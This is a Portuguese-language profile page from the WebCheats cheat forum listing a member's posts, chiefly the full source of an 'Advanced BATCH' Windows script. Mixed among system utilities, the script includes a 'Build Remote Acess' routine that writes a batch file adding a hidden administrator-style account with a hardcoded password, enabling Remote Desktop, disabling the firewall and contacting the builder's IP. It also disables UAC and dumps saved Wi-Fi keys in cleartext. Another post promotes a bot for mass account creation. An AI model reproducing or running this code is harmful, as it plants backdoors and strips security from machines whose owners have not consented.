Jump to content

Uma nova Web Cheats está a caminho!

A WebCheats é a maior e melhor comunidade de cheats do Brasil. Temos mais de 14 anos de existência, isso graças aos membros que nos apoiaram e ajudaram ao longo da nossa história!
Veja mais...

Reporte bugs e nos ajude a melhorar!

Nos ajude a descobrir bugs! Além de melhorar a comunidade.
Reporte aqui!
Notícia
  • Tema White WC 2019 0.0.1
  • Apresentamos o novo tema padrão do WebCheats!

Filipedesa-01

Silver Member
  • Content Count

    415
  • Joined

  • Last visited

  • WCoins

    0 [ Donate ]

Community Reputation

2

3 Followers

About Filipedesa-01

  • Rank
    pr0ject[404]
  • Birthday 01/12/1993
  1. O BOT foi criado em Ruby e não foi desenvolvido por mim, estou postando para quem quiser fazer proveito do mesmo. O Desenvolvedor fez uma sequência de 3 vídeos de aproximadamente 15 minutos ao total explicando etapa por etapa de como funciona e como montou (em inglês). Toda a source do programa se encontra neste link do GitHub que foi feito re-upload dos arquivos para evitar perda e onde eu posto algumas pequenas atualizações. Lá você também encontra todas as Bibliotecas necessários para fazer o programa funcionar corretamente. Lembrando que este é um exemplo utilizando o Instagram, podendo ser reproduzido em outros sites tomando outras vertentes, criar várias contas em um determinado site? bot de views? automatizador de funções? vai da sua criatividade. Dúvidas? Comentem que eu vejo se posso ajudar.
  2. Não conhecia CodeIgniter, obrigado pela contribuição!
  3. Atualmente, ativando a mente.
  4. Bom dia, Boa tarde, Boa noite! Desde 2017 venho postando publicamente este meu projeto um tanto quanto audacioso. Diversas modificações foram feitas, funções adicionadas e muito mais. Deixo a vocês a curiosidade de procurar saber mais e "brincar" com este Arquivo em Lotes. Para facilitar o acesso criei na GitHub uma página onde são enviadas as atualizações, muito mais fácil do que editar no meu site como era antes, uma vez que ele tem tomado outro rumo... Mas sem delongas, fiquem com algumas imagens e o link para o projeto. Alguns programas existem como "plugins" para dar mais funções ao aBATCH tornando este simples arquivo e uma ferramenta mais poderosa, são eles: projeto: GitHub Não visamos lucro com este programa, é totalmente open-source, você pode editar, apagar, acrescentar o que quiser. Créditos? A toda comunidade da Internet que contribui todos os dias! São muitas pessoas, muitas mesmo, chegou em um ponto que eu perdi o controle...
  5. A Hostinger só vem fazendo cagadas ultimamente... A ultima foi retirar o Gerenciador de Arquivos (File Manager) e colocar apenas para usuários Premium Tutorial muito bom, já facilita saber configurar e não ter que ficar sempre digitando usuário e senha.
  6. Embarcadero disponibilizar Delphi 10.1 Berlin gratuitamente! https://www.embarcadero.com/products/delphi/starter/promotional-download/
  7. Bom a muito tempo venho "brincando" em desenvolver um arquivo .bat que junte várias funções que podem vir a ser útil no meu dia a dia, sempre estou em contato com computadores, tanto em minha casa, na minha faculdade ou na minha empresa. Sem mais delongas, como gosto de fazer minha parte estou disponibilizando o mesmo para vocês, podem editar, alterar, deletar, façam oque quiserem. Caso queiram posso vir a postar as futuras atualizações, fica a critério de vocês. As funções presentes até o momento: Obs1: O arquivo sempre recebe atualizações, existe um site onde é postado as atualizações mesmo que praticamente insignificantes, caso queira basta me manda uma mensagem; Obs2: Existem limitações, então não espere que venha a fazer milagres; Obs3: Aceito sugestões e criticas desde que sejam construtivas. @Echo off & SetLocal EnableExtensions EnableDelayedExpansion ren %~0 aBATCH.bat title AdvancedBATCH :: Last Update 19/02/2017 color 0e cls set "Arguments=%~1" if not defined Arguments (goto:CHECK_MAIN) set Pasta=%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ copy "%Arguments%" "%pasta%\" 2>nul && msg * /time 3 "Installation Completed, the file will start with the Windows^^!" || msg * /time 3 "ERROR?" TIMOUT 3 Exit :CHECK_MAIN openfiles > NUL 2>&1 if NOT %ERRORLEVEL% EQU 0 goto MAIN_NEUTRO Echo ________________________________________________________________________________ Echo =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Echo _______ ______ _______ _________ __ Echo ( ___ ) ( __ \ ( ) \__ __/ ( ( /l Echo l ( ) l l ( \ ) l () () l ) ( l \ ( l Echo l (___) l l l ) l l ll ll l l l l \ l l Echo l ___ l l l l l l l(_)l l l l l (\ \) l Echo l ( ) l l l ) l l l l l l l l l \ l Echo l ) ( l l (__/ ) l ) ( l ___) (___ l ) \ l Echo l/ \l (______/ l/ \l \_______/ l/ )_) %username%^^! Echo ADVANCED BATCH Build [22] Echo =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= goto Inicio :MAIN_NEUTRO Echo ________________________________________________________________________________ Echo: Echo HELLO, Echo ll ll lllll Echo lll lll ll ll Echo ll ll ll ll ll Echo ll ll lllll %username%^^! Echo ll ll ll ll Echo: Echo ADVANCED BATCH Build [22] Echo: :Inicio Echo ________________________________________________________________________________ Echo: set/a CONTA=0 set /p "Comando=. " FOR %%B IN (abcdefghijklmnopqrstuvwxyz) DO (SET LETRASY=%%B) FOR %%C IN (ABCDEFGHIJKLMNOPQRSTUVWXYZ) DO (SET LETRASX=%%C) :CmdList set/a CONTA+=1 CALL SET FINAL=%%LETRASX:~-%CONTA%,1%% CALL SET FINALX=%%LETRASY:~-%CONTA%,1%% set Comando=!Comando:%FINAL%=%FINALX%! if %CONTA% == 28 ( if "%Comando%" equ "-" set /p cmd=!cd!^> & !cmd! & goto Inicio if "%Comando%" equ "-f" (goto CMDFORCE) if "%Comando%" equ "commands" (goto Commands) if "%Comando%" equ "credits" (goto Credits) if "%Comando%" equ "cl" cls & goto CHECK_MAIN if "%Comando%" equ "cls" cls & goto CHECK_MAIN if "%Comando%" equ "clear" cls & goto CHECK_MAIN if "%Comando%" equ "restart" start %~0 & Exit if "%Comando%" equ "refresh" start %~0 & Exit if "%Comando%" equ "reload" start %~0 & Exit if "%Comando%" equ "telnet help" (goto TELNETACTIVE) if "%Comando%" equ "pr0ject on" attrib pr0ject -h -s & Echo. Completed^^! & goto Inicio if "%Comando%" equ "pr0ject off" attrib pr0ject +h +s & Echo. Completed^^! & goto Inicio rem FUNCTIONS: if "%Comando%" equ "windows active" (goto WindowsActive) if "%Comando%" equ "wifi password" (goto WiFiPassword) if "%Comando%" equ "taskkill" (goto Taskk) if "%Comando%" equ "bs" (goto BLOCKSITES) if "%Comando%" equ "bs list" (goto BLOCKSITES_List) if "%Comando%" equ "cf" (goto CHECK_LIMPARPASTASVAZIAS) if "%Comando%" equ "firewall on" (goto FireWallON) if "%Comando%" equ "firewall off" (goto FireWallOFF) if "%Comando%" equ "safemode on" (goto SAFEMODE) if "%Comando%" equ "safemode off" (goto SAFEMODEOFF) if "%Comando%" equ "add notes" (goto Add_Notes) if "%Comando%" equ "ready notes" (goto Ready_Notes) if "%Comando%" equ "system info" (goto SystemInfo) if "%Comando%" equ "active x excel off" (goto ACTIVE_X_Excel) if "%Comando%" equ "ftp acess" (goto FTP_ACESS) if "%Comando%" equ "export wifi profiles" (goto EXPORTWIFI) if "%Comando%" equ "system boost" (goto SYSTEMBOOST) if "%Comando%" equ "uac on" (goto UAC_ACTIVE) if "%Comando%" equ "uac off" (goto UAC_DESACTIVE) if "%Comando%" equ "win optimizer on" (goto WinOtmize) if "%Comando%" equ "win optimizer off" (goto WinOtmize_Restore) rem ACESSO REMOTO: if "%Comando%" equ "build remote acess" (goto Build_Remote_Acess ) if "%Comando%" equ "connect remote acess" (goto Connect_Remote_Acess ) if "%Comando%" equ "scan remote acess" (goto Scan_Remote_Acess) Echo: ) else (goto:CmdList) Echo *Unknown command! goto Inicio :Commands Echo: CD %userprofile%\Desktop\ MD CommandsList CD %userprofile%\Desktop\CommandsList\ Echo ############################### FUNCTIONS ################################ Echo: echo. to use Command Prompt ;> " 1 . [ - ] or [ -f ]" echo. show the commands ;> " 2 . [ Commands ]" echo. Show the Credits ;> " 3 . [ Credits ]" echo. Restart the Program ;> " 4 . [ Restart ]" echo. Active the Windows (30 days) ;> " 5 . [ Windows Active ]" echo. Show password WiFi if you are Connected to it ;> " 6 . [ WiFi Password ]" echo. Kill any Process ;> " 7 . [ TaskKill ]" echo. Disable Active X warning in Excel ;> " 8 . [ ACTIVE X Excel OFF ]" echo. Block Websites on Localhost ;> " 9 . [ BS ] or [ BS list ]" echo. Clear any Empty Folders ;> " 10 . [ CF ]" echo. Enables or Disables the FireWall ;> " 11 . [ FireWall ON - OFF ]" echo. Enables or Disables the SafeMode ;> " 12 . [ SafeMode ON - OFF ]" echo. To creat a fast note ;> " 13 . [ Add Notes ]" echo. To ready all notes ;> " 14 . [ Ready Notes ]" echo. Show a simple System Infomations ;> " 15 . [ System Info ]" echo. Get acess to your FTP Server ;> " 16 . [ FTP Acess ]" echo. Save in XML File all WiFi Profiles ;> " 17 . [ Export WiFi Profiles ]" echo. How to Activate the Telnet ;> " 18 . [ Telnet Help ]" echo. Accelerates the Windows Processing ;> " 19 . [ System Boost ]" echo. User Account Control ;> " 20 . [ UAC ON - OFF ]" echo. Optimizes some windows functions for higher performance ;> " 21 . [ WIN OPTIMIZER ON - OFF ]" FINDSTR /A:0c /C:" to use Command Prompt ;" /S " 1 . [ - ] or [ -f ]" FINDSTR /A:0c /C:" show the commands ;" /S " 2 . [ Commands ]" FINDSTR /A:0c /C:" Show the Credits ;" /S " 3 . [ Credits ]" FINDSTR /A:0c /C:" Restart the Program ;" /S " 4 . [ Restart ]" FINDSTR /A:0c /C:" Active the Windows (30 days) ;" /S " 5 . [ Windows Active ]" FINDSTR /A:0c /C:" Show password WiFi if you are Connected to it ;" /S " 6 . [ WiFi Password ]" FINDSTR /A:0c /C:" Kill any Process ;" /S " 7 . [ TaskKill ]" FINDSTR /A:0c /C:" Disable Active X warning in Excel ;" /S " 8 . [ ACTIVE X Excel OFF ]" FINDSTR /A:0c /C:" Block Websites on Localhost ;" /S " 9 . [ BS ] or [ BS list ]" FINDSTR /A:0c /C:" Clear any Empty Folders ;" /S " 10 . [ CF ]" FINDSTR /A:0c /C:" Enables or Disables the FireWall ;" /S " 11 . [ FireWall ON - OFF ]" FINDSTR /A:0c /C:" Enables or Disables the SafeMode ;" /S " 12 . [ SafeMode ON - OFF ]" FINDSTR /A:0c /C:" To creat a fast note ;" /S " 13 . [ Add Notes ]" FINDSTR /A:0c /C:" To ready all notes ;" /S " 14 . [ Ready Notes ]" FINDSTR /A:0c /C:" Show a simple System Infomations ;" /S " 15 . [ System Info ]" FINDSTR /A:0c /C:" Get acess to your FTP Server ;" /S " 16 . [ FTP Acess ]" FINDSTR /A:0c /C:" Save in XML File all WiFi Profiles ;" /S " 17 . [ Export WiFi Profiles ]" FINDSTR /A:0c /C:" How to Activate the Telnet ;" /S " 18 . [ Telnet Help ]" FINDSTR /A:0c /C:" Accelerates the Windows Processing ;" /S " 19 . [ System Boost ]" FINDSTR /A:0c /C:" User Account Control ;" /S " 20 . [ UAC ON - OFF ]" FINDSTR /A:0c /C:" Optimizes some windows functions for higher performance ;" /S " 21 . [ WIN OPTIMIZER ON - OFF ]" Echo: Echo ############################## REMOTE ACESS ############################## Echo: echo. Build the remote Batch ;> " 1 . [ Build Remote Acess ]" echo. Remote Acess ;> " 2 . [ Connect Remote Acess ]" echo. Scan Connection ;> " 3 . [ Scan Remote Acess ]" FINDSTR /A:0c /C:" Build the remote Batch ;" /S " 1 . [ Build Remote Acess ]" FINDSTR /A:0c /C:" Remote Acess ;" /S " 2 . [ Connect Remote Acess ]" FINDSTR /A:0c /C:" Scan Connection ;" /S " 3 . [ Scan Remote Acess ]" CD %userprofile%\Desktop\ RD /S /Q CommandsList Echo: goto Inicio :Credits Echo: set "Texto= By" set "Texto2= pr0ject404" set "Texto3= Scripts" set "Texto4= Boss-Head, LokiTheGodOfChaos, Hmenon, MasterMC, NeoqJav" set "Texto5= Blog" set "Texto6= www.pr0ject404.esy.es" call :Color_ir 0C "%Texto%" call :Color_ir 08 "%Texto2%" call :Color_ir 0C "%Texto3%" call :Color_ir 08 "%Texto4%" call :Color_ir 0C "%Texto5%" call :Color_ir 08 "%Texto6%" Echo: goto Inicio :Color_ir mkdir $temp || (Exit /b 2) pushd $temp || (rmdir $temp & Exit /b 1) for /f "delims=" %%. in (' "%ComsPec% /K Prompt $h$h <&1" ') do >o_o Echo %%. Call:Tex_to %1 %2 popd rmdir /S /Q $temp Endlocal & Exit /b 0 :Tex_to >%2 (set/P=+) <&1 findstr /a:%1 + %2 con type o_o GOTO :EOF :CMDFORCE cls prompt !cd!^> CMD goto CMDFORCE :SAFEMODE echo: openfiles > NUL 2>&1 if NOT %ERRORLEVEL% EQU 0 echo. *You need Administrator Permission! & goto Inicio ECHO. DISABLING EXCEPTIONS... netsh firewall set opmode mode = ENABLE exceptions = DISABLE ECHO. DISABLING REMOTE CONNECTION... netsh firewall set service remoteadmin disable Echo. Completed^^! echo: goto Inicio :SAFEMODEOFF echo: openfiles > NUL 2>&1 if NOT %ERRORLEVEL% EQU 0 echo. *You need Administrator Permission! & goto Inicio ECHO ENABLE EXCEPTIONS... netsh firewall set opmode mode = DISABLE exceptions = ENABLE ECHO ENABLING REMOTE CONNECTION... netsh firewall set service remoteadmin enable echo. Completed^^! echo: goto Inicio :CHECK_LIMPARPASTASVAZIAS openfiles > NUL 2>&1 if NOT %ERRORLEVEL% EQU 0 goto LIMPARPASTASVAZIAS_NEUTRO Echo Please, set the Directory before [Ex: C:\Users\%username%\Desktop]: set /p CMD= cd %CMD% Echo all empty folders will be deleted! timeout 20 Echo Starting... for /f "delims=" %%d in ('dir /s /b /ad ^| sort /r') do rd "%%d" echo. Finished^^! goto Inicio :LIMPARPASTASVAZIAS_NEUTRO Echo You need to run as administrator to clear other directories. timeout 20 Echo all empty folders will be deleted! Echo Starting... for /f "delims=" %%d in ('dir /s /b /ad ^| sort /r') do rd "%%d" echo. Finished^^! goto Inicio :FireWallON openfiles > NUL 2>&1 if NOT %ERRORLEVEL% EQU 0 echo. *You need Administrator Permission! & goto Inicio netsh advfirewall set allprofiles state on > NUL echo. Completed^^! goto Inicio :FireWallOFF openfiles > NUL 2>&1 if NOT %ERRORLEVEL% EQU 0 echo. *You need Administrator Permission! & goto Inicio netsh advfirewall set allprofiles state off > NUL echo. Completed^^! goto Inicio :WindowsActive openfiles > NUL 2>&1 if NOT %ERRORLEVEL% EQU 0 echo. *You need Administrator Permission! & goto Inicio slmgr -rearm > NUL echo. Completed^^! goto Inicio :WiFiPassword set /p Name= WiFi Name (You must be connected): netsh wlan show profile name="%name%" key=clear goto Inicio :taskk tasklist set /p TASKKILL= Name ( Ex: explorer.exe ): Echo: taskkill /F /IM %TASKKILL% /T Echo: goto Inicio :BLOCKSITES openfiles > NUL 2>&1 if NOT %ERRORLEVEL% EQU 0 echo. *You need Administrator Permission! & goto Inicio set /p DDIR=SITE URL: Attrib -r -s -h %WINDIR%\system32\drivers\etc\hosts Echo 127.0.0.1 %DDIR% >> %WINDIR%\system32\drivers\etc\hosts Attrib +r +s +h %WINDIR%\system32\drivers\etc\hosts goto Inicio :BLOCKSITES_List openfiles > NUL 2>&1 if NOT %ERRORLEVEL% EQU 0 echo. *You need Administrator Permission! & goto Inicio Attrib -r -s -h %WINDIR%\system32\drivers\etc\hosts notepad %WINDIR%\system32\drivers\etc\hosts Attrib +r +s +h %WINDIR%\system32\drivers\etc\hosts goto Inicio :Add_Notes set "Data=" set/p "Data=- Title: " if not defined Data (goto:Add) echo: set "Tarefa=" set/p "Tarefa=- Text: " echo: >> %~0 echo:Title: %Data% >> %~0 echo:::AGENDA::Text: %Tarefa% >> %~0 echo:::AGENDA::Time/Date: %TIME% - %DATE% >> %~0 Echo:::AGENDA::________________________________________________________________________________ >> %~0 goto:Inicio :Ready_Notes for /f "tokens=*" %%x in (%~0) do ( set "Linha=%%x" if ["!Linha:~0,10!"]==["::AGENDA::"] ( set "Linha=!Linha:~10!" echo: echo:!Linha! ) ) echo End^^! goto:Inicio :SystemInfo Echo: ( Echo Option Explicit Echo Dim WshShell,FSO,Drv,Dtype,Dfree,Dtot Echo Dim Dname,Dpct,Dused,Dserial,Dinfo Echo Set WshShell=WScript.CreateObject^("WScript.Shell"^) Echo Set FSO=CreateObject^("Scripting.FileSystemObject"^) Echo For each Drv in FSO.Drives Echo If Drv.DriveType=0 Then Dtype="Desconhecido " Echo If Drv.DriveType=1 Then Dtype="Removível" Echo If Drv.DriveType=2 Then Dtype="Fixo " Echo If Drv.DriveType=3 Then Dtype="Rede " Echo If Drv.DriveType=4 Then Dtype="CD-ROM " Echo If Drv.DriveType=5 Then Dtype="Flash-ram " Echo If Drv.IsReady Then Echo If Drv.DriveType=4 Then Echo Dfree="INDISPONIVEL" Echo ElseIf Drv.FreeSpace^<1024^^2 Then Echo Dfree=FormatNumber^(Drv.FreeSpace/1024,0^)^&" KB" Echo ElseIf Drv.FreeSpace^<10240^^2 Then Echo Dfree=FormatNumber^(Drv.FreeSpace/^(1024^^2^),2^)^&" MB" Echo Else Echo Dfree=FormatNumber^(Drv.FreeSpace/^(1024^^2^),0^)^&" MB" Echo End If Echo If Drv.TotalSize^<1024^^2 Then Echo Dtot=FormatNumber^(Drv.TotalSize/1024,0^)^&" KB" Echo ElseIf Drv.TotalSize^<10240^^2 Then Echo Dtot=FormatNumber^(Drv.TotalSize/^(1024^^2^),2^)^&" MB" Echo Else Echo Dtot=FormatNumber^(Drv.TotalSize/^(1024^^2^),0^)^&" MB" Echo End If Echo If Drv.VolumeName="" Then Echo Dname="[sem Nome]" Echo Else Echo Dname=Drv.VolumeName Echo End If Echo Dused=Drv.TotalSize-Drv.FreeSpace Echo If Dused^<1024^^2 Then Echo Dused=FormatNumber^(Dused/1024,0^)^&" KB" Echo ElseIf Dused^<10240^^2 Then Echo Dused=FormatNumber^(Dused/^(1024^^2^),2^)^&" MB" Echo Else Echo Dused=FormatNumber^(Dused/^(1024^^2^),0^)^&" MB" Echo End If Echo If Drv.DriveType=4 Then Echo Dpct="N/A" Echo Else Echo Dpct=FormatPercent^(Drv.FreeSpace/Drv.TotalSize,1^) Echo End If Echo If Drv.DriveType=5 Then Echo Dserial="N/A" Echo Else Echo Dserial=Hex^(Drv.SerialNumber^) Echo End If Echo Dinfo=Dinfo^&"Drive "^&Drv.DriveLetter^& ": " ^& "Tipo: "^&Dtype ^&vbCRLF^&_ Echo "Tipo de formato: "^&Drv.FileSystem^&vbCRLF^&_ Echo "Tamanho total: "^&Dtot^&vbCRLF^&_ Echo "Espaco livre: "^&Dfree^&vbCRLF^&_ Echo "Nome do disco: "^&Dname^&vbCRLF^&_ Echo "Espaco usado: "^&Dused^&vbCRLF^&_ Echo "Disponivel: "^&Dpct^&vbCRLF^&vbCRLF rem Echo "Numero de serie: "^&Dserial^&vbCRLF^&vbCRLF Echo Else Echo Dinfo=Dinfo^&"Drive "^&Drv.DriveLetter^&_ Echo ":"^&_ Echo "Tipo de disco: "^&Dtype^&_ Echo "(Sem disco no drive)"^&vbCRLF^&vbCRLF Echo End If Echo Next Echo WScript.Echo Dinfo )>SDISC.vbs for /f "delims=" %%l in ('wmic computersystem get Manufacturer^,Model^,SystemType^,TotalPhysicalMemory /format:list') do >nul 2>&1 set "Sistema_%%l" for /f "delims=" %%l in ('wmic cpu get * /format:list') do >nul 2>&1 set "CPU_%%l" for /f "delims=" %%l in ('wmic os get FreePhysicalMemory^,TotalVisibleMemorySize /format:list') do >nul 2>&1 set "OS_%%l" set /a OS_UsedPhysicalMemory=OS_TotalVisibleMemorySize-OS_FreePhysicalMemory FOR /F "tokens=4" %%a in ('systeminfo ^| findstr "Memorias fisica total"') do if defined totalMem (set availableMem=%%a) else (set totalMem=%%a) FOR /F "tokens=2 delims='='" %%A in ('wmic %cstring% %ustring% %pstring% os get Name /value') do SET osname=%%A FOR /F "tokens=1 delims='|'" %%A in ("%osname%") do SET osname=%%A FOR /F "tokens=2 delims='='" %%A in ('wmic %cstring% %ustring% %pstring% os get ServicePackMajorVersion /value') do SET sp=%%A set totalMem=%totalMem% set availableMem=%availableMem% set /a usedMem=totalMem-availableMem Echo Windows Serial: wmic path softwarelicensingservice get OA3xOriginalProductKey ( Echo OS: %osname% Echo Service Pack: %sp% Echo Board Manufacturer: %Sistema_Manufacturer% Echo Board template: %Sistema_Model% Echo Processor: %PROCESSOR_ARCHITECTURE% Echo Processor type: %CPU_AddressWidth% Echo System type: %Sistema_SystemType% Echo RAM total: %OS_TotalVisibleMemorySize% KiB Echo RAM free: %OS_FreePhysicalMemory% KiB Echo RAM used: %OS_UsedPhysicalMemory% KiB sysdm.cpl control userpasswords2 CSCRIPT /NOLOGO SDISC.vbs )>"%~dp0SLIST.TXT" set num=0 FOR /F "USEBACKQ TOKENS=*" %%A IN ("%~dp0SLIST.TXT") DO ( set SINFO=%%A call :SINFO_num ) del %~dp0SLIST.TXT del %~dp0SDISC.vbs goto Inicio :SINFO set /a num=%num%+1 :SINFO_num echo %SINFO% rem set SINFO="%~1" set SINFO=%SINFO:(=[% set SINFO=%SINFO:)=]% set SINFO=%num% - %SINFO% GOTO:EOF :ACTIVE_X_Excel openfiles > NUL 2>&1 if NOT %ERRORLEVEL% EQU 0 echo. *You need Administrator Permission! & goto Inicio reg add "HKCU\SOFTWARE\Microsoft\Office\VBA\Security" /v LoadControlsInForms /t reg_dword /d 4 /f RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters ,1 ,True goto Inicio :FTP_ACESS set /p ServURL= URL: set /p ServLOG= Login: Set /p "= Password:" < Nul Call :PasswordInput IF "%ServURL%" == "usuario predefinido" ( start explorer "ftp://usuario:[email protected]/" goto Inicio ) ELSE ( ping -n 1 %ServURL% >nul IF "%ERRORLEVEL%" == "0" ( start explorer "ftp://%ServLOG%:[email protected]%ServURL%/" ) ELSE ( goto Inicio ) goto Inicio ) :PasswordInput ::consolesoft.com/batch/?#password_input ::Author: Carlos Montiers Aguilera ::Last updated: 20150405. Created: 20150401. ::Set variable pwd with input password ::Needs delayed expansion enabled Set "pwd=" Set "INTRO=" &For /F "skip=1" %%# in ( '"Echo(|Replace.exe ? . /U /W"' ) Do If Not Defined INTRO Set "INTRO=%%#" For /F %%# In ( '"Prompt $H &For %%_ In (_) Do Rem"') Do Set "BKSPACE=%%#" :_PasswordInput_Kbd Set "Excl=" Set "CHR=" &For /F skip^=1^ delims^=^ eol^= %%# in ( 'Replace.exe ? . /U /W') Do If Not Defined CHR ( Set "CHR=%%#" &If "%%#"=="!" Set "Excl=yes") If "!INTRO!"=="!CHR!" Echo(&Goto :Eof If "!BKSPACE!"=="!CHR!" (If Defined pwd ( Set "pwd=!pwd:~0,-1!" Set /P "=!BKSPACE! !BKSPACE!" <Nul) Goto :_PasswordInput_Kbd ) Else If Not Defined Excl ( Set "pwd=!pwd!!CHR:~0,1!" ) Else Set "pwd=!pwd!^!" Set /P "=*" <Nul Goto :_PasswordInput_Kbd :EXPORTWIFI md WiFiXML >nul Netsh WLAN export profile key=clear folder="%cd%\WiFiXML" >nul Echo. Exported^^! Start WiFiXML >nul goto Inicio :TELNETACTIVE echo. 1 - Select "Enable or Disable Windows Features" echo. 2 - Select "Telnet Client" and press OK. Echo. Finished^^! appwiz.cpl goto Inicio :SYSTEMBOOST ipconfig /flushdns del C:\Windows\Prefetch\*.* /Q Rundll32.exe advapi32.dll,ProcessIdleTasks rem Limpa seu diretório Prefetch del /s /f /q %temp%\*.* %windir%\system32\rundll32.exe advapi32.dll,ProcessIdleTasks cd C:\Program Files\CCleaner IF EXIST "CCleaner.exe" ( start CCleaner.exe /AUTO CD %userprofile%\Desktop\ Echo. Completed^^! & goto Inicio ) ELSE ( CD %userprofile%\Desktop\ Echo. Completed^^! & goto Inicio ) goto Inicio :UAC_ACTIVE openfiles > NUL 2>&1 if NOT %ERRORLEVEL% EQU 0 echo. *You need Administrator Permission! & goto Inicio reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters ,1 ,True Echo. Completed^^! & goto Inicio :UAC_DESACTIVE openfiles > NUL 2>&1 if NOT %ERRORLEVEL% EQU 0 echo. *You need Administrator Permission! & goto Inicio reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 1 /f RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters ,1 ,True Echo. Completed^^! & goto Inicio :Build_Remote_Acess Echo: set /p EXTIP= Your External IP: echo @echo off>>RA.bat echo net user /add An0nym0us bosshead>>RA.bat echo @reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fAllowToGetHelp" /t REG_DWORD /d "1" /f>>RA.bat echo cls>>RA.bat echo @reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d "0" /f>>RA.bat echo cls>>RA.bat echo @reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /v "An0nym0us" /d "0" /f>>RA.bat echo netsh firewall set opmode disable>>RA.bat echo cls>>RA.bat echo telnet %EXTIP%>>RA.bat echo. Created^^! Echo: goto Inicio :Connect_Remote_Acess Echo: echo. User: [An0nym0us] echo. Password: [bosshead] echo. Domain: [null] start mstsc.exe /f Echo: goto Inicio :Scan_Remote_Acess Echo: arp -a IF EXIST "WNetWatcher.exe" ( start WNetWatcher.exe Echo. Completed^^! & goto Inicio ) ELSE ( Echo. Completed^^! & goto Inicio ) Echo: goto Inicio :WinOtmize openfiles > NUL 2>&1 if NOT %ERRORLEVEL% EQU 0 echo. *You need Administrator Permission! & goto Inicio rem abrir pastas mais rapido cd C:\WINDOWS echo ; for 16-bit app support > system.ini echo. >> system.ini echo.[drivers] >> system.ini echo wave=mmdrv.dll >> system.ini echo timer=timer.drv >> system.ini echo. >> system.ini echo [mci] >> system.ini echo [driver32] >> system.ini echo [386enh] >> system.ini echo conservativeswapfileusage=1 >> system.ini echo woafont=app850.FON >> system.ini echo EGA80WOA.FON=EGA80850.FON >> system.ini echo EGA40WOA.FON=EGA40850.FON >> system.ini echo CGA80WOA.FON=CGA80850.FON >> system.ini echo CGA40WOA.FON=CGA40850.FON >> system.ini rem Rapidez de acesso a programas e arquivos reg add "hklm\SYSTEM\CurrentControlSet\Control\FileSystem" /v ContigFileAllocSize /d "200" /f cd %userprofile%\Desktop\ Echo: Echo. Completed^^! Echo. Now you need restart your system. Echo: goto Inicio :WinOtmize_Restore openfiles > NUL 2>&1 if NOT %ERRORLEVEL% EQU 0 echo. *You need Administrator Permission! & goto Inicio rem abrir pastas mais rapido cd C:\WINDOWS echo ; for 16-bit app support > system.ini echo. >> system.ini echo.[drivers] >> system.ini echo wave=mmdrv.dll >> system.ini echo timer=timer.drv >> system.ini echo. >> system.ini echo [mci] >> system.ini echo [driver32] >> system.ini echo [386enh] >> system.ini echo woafont=app850.FON >> system.ini echo EGA80WOA.FON=EGA80850.FON >> system.ini echo EGA40WOA.FON=EGA40850.FON >> system.ini echo CGA80WOA.FON=CGA80850.FON >> system.ini echo CGA40WOA.FON=CGA40850.FON >> system.ini cd %userprofile%\Desktop\ Echo: Echo. Completed^^! Echo. Now you need restart your system. Echo: goto Inicio ::AGENDA::Results: ::AGENDA::________________________________________________________________________________ Atualizado 19/02 Windows XP - NÃO TESTADO Windows 7 - NÃO TESTADO Windows 8 - OK Windows 8.1 - OK Windows 10 - OK Faz muito tempo que não posto nada na Web Cheats, espero que esteja ao nível de vocês.
  8. 1º - O que aconteceu com as dll's ? Ficaram ultrapassadas... ? 2º - Kaspersky detectou vírus e nem deixou executar ... Desativei o mesmo e o programa não abria e ao tentar abrir o Jogo ele fecha automaticamente... Não estou acusando de ter vírus maliciosos nem nada do tipo estou apenas deixando um comentário! Resumo: Não Funcional
  9. Cara acho que aqui na WebCheats tem um tutorial falando sobre isso, Se não achar por aqui existem outros forums com conteúdo sobre Delphi. Procure no Google por: "Como criar hack em Delphi Pointer" Bom espero ter ajudado.
  10. Créditos ? Reconhecimento em primeiro lugar "amigo".
  11. Bela video aula, continue assim, Sempre programei em Delphi mais nunca usei ele para fazer Hack para jogos... Queria saber se é possível fazer esse mesmo processo com Jogos mais Famosos como Warface/Combat Arms/Point Blank/...
  12. Obrigado, estava procurando estes códigos. (y)
  13. Legal, não sabia que era possível fazer isto Quem sabe eu possa colocar em alguma de minhas aplicações, abraços.
×
×
  • Create New...